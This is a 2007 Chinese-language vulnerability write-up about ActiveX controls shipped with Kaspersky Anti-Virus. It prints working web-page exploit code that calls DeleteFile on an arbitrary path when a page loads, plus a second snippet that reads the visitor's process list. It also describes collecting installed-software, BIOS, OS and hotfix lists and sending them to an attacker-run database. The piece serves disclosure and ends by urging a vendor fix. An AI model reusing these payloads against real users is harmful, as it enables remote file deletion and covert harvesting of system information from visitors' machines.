創(chuàng)建時(shí)間:2007-05-19 更新時(shí)間:2007-05-30
文章屬性:原創(chuàng)
文章提交:blueph4nt0m (blueph4nt0m_at_sogou.com)
首先聲明,這個(gè)漏洞是朋友zf在調(diào)試程序的時(shí)候發(fā)現(xiàn)的,非常鄙視某人以其自己名義將此漏洞包括zf的利用程序代碼投稿國(guó)內(nèi)某雜志的行為!
下面來(lái)說(shuō)說(shuō)這個(gè)漏洞,最初發(fā)現(xiàn)這個(gè)漏洞是由一個(gè)ActiveX控件引起的:位于Kaspersky Anti-Virus安裝目錄下的AxKLProd60.dll。這個(gè)控件調(diào)用了一個(gè)函數(shù):DeleteFile(),獲取到這個(gè)ActiveX控件的classid即可以在網(wǎng)頁(yè)中利用這個(gè)控件執(zhí)行DeleteFile的操作。至于該控件的classid獲取方法很簡(jiǎn)單,用UltraEdit打開(kāi)就能找到了。zf告訴我的時(shí)候就同時(shí)給我了利用代碼:
<SCRIPT language=javascript>
function test()
{
bug.DeleteFile("D:\\1.txt");
}
</script>
<object classid="clsid:D9EC22E7-1A86-4F7C-8940-0303AE5D6756" name="bug">
//這是卡巴斯基組件的注冊(cè)標(biāo)識(shí)
</object>
<script>javascript:test(); //調(diào)用測(cè)試函數(shù)
</script>
以上代碼存為html文件,在D盤(pán)根目錄下新建一個(gè)1.txt,訪問(wèn)一下這個(gè)頁(yè)面,之前新建的1.txt被刪除就說(shuō)明成功了。上面的D:\\1.txt可以改為任意路徑。
之后我針對(duì)此代碼進(jìn)行了一些測(cè)試,發(fā)現(xiàn)并不是通用的。bug.DeleteFile("D:\\1.txt");這樣的寫(xiě)法對(duì)多數(shù)版本有效,但某些版本必須寫(xiě)成:bug.DeleteFile("D:\1.txt");。而且此代碼在IE7上執(zhí)行會(huì)被攔截。我想看看有沒(méi)有多一些的可利用函數(shù),zf給了我一張他反編譯得到的表:
[img]http://try2.org/images/Kaspersky1.jpg[/img]
[img]http://try2.org/images/Kaspersky2.jpg[/img]
看起來(lái)有搞頭,本準(zhǔn)備直接試試列表里的函數(shù),結(jié)果一個(gè)都用不了,我以為我的用法有問(wèn)題。于是我拿去和同是try2.org的cfx研究研究。
和cfx一起看了才發(fā)現(xiàn)kaba里有兩個(gè)ActiveX控件,AxKLProd60.dll和AxKLSysInfo.dll。用VB導(dǎo)入才知道,原來(lái)之前zf給我的表是導(dǎo)出表而不是導(dǎo)入表。這兩個(gè)ActiveX控件的導(dǎo)入表截圖如下:
[img]http://try2.org/images/Kaspersky3.jpg[/img]
[img]http://try2.org/images/Kaspersky4.jpg[/img]
[img]http://try2.org/images/Kaspersky5.jpg[/img]
這一看傻了,看來(lái)導(dǎo)出表里只有DeleteFile()比較有“實(shí)際”用處,其他都是一些獲取信息的屬性。從列表中我們可以看到可以獲取已安裝文件列表、BIOS版本信息、系統(tǒng)版本信息、HotFix列表等等。看來(lái)對(duì)獲取進(jìn)一步權(quán)限都沒(méi)什么用處了。不過(guò)這些信息都是客戶端得到的,作為利用者要得到這些信息還得利用網(wǎng)頁(yè),比如用GET方式跟參數(shù)寫(xiě)入預(yù)先準(zhǔn)備好的網(wǎng)站數(shù)據(jù)庫(kù),或者以表單形式將列表提交到數(shù)據(jù)庫(kù)之類的我就不多說(shuō)了。試了幾個(gè),其中HotFixList沒(méi)有正確輸出。get_HotFixList()獲取的不是字符串么?還請(qǐng)高手多多指教。
能力有限,我們研究此漏洞僅僅到此為止。有高手能將此漏洞發(fā)揚(yáng)光大的希望能發(fā)出來(lái)哈。看來(lái)殺毒軟件出錯(cuò)也是很可怕的。前幾天的Symantec的誤報(bào)也害了很多機(jī)器。所以提醒大家不要過(guò)于依賴殺毒軟件,畢竟它們也是程序,也是會(huì)有漏洞和BUG的。提高自己的安全意識(shí)才是最重要的。希望Kaspersky能盡早修復(fù)此漏洞。希望各位到try2.org交流(原scccn改組的團(tuán)隊(duì))。
Bluephantom作于2007年
**************************************************
附:
<SCRIPT language=javascript>
function test()
{
list = bug.get_ProcessList()
document.write(list)
}
</script>
<object classid="clsid:BA61606B-258C-4021-AD27-E07A3F3B91DB" name="bug">
//這是卡巴斯基組件的注冊(cè)標(biāo)識(shí)
</object>
<script>javascript:test(); //調(diào)用測(cè)試函數(shù)
</script>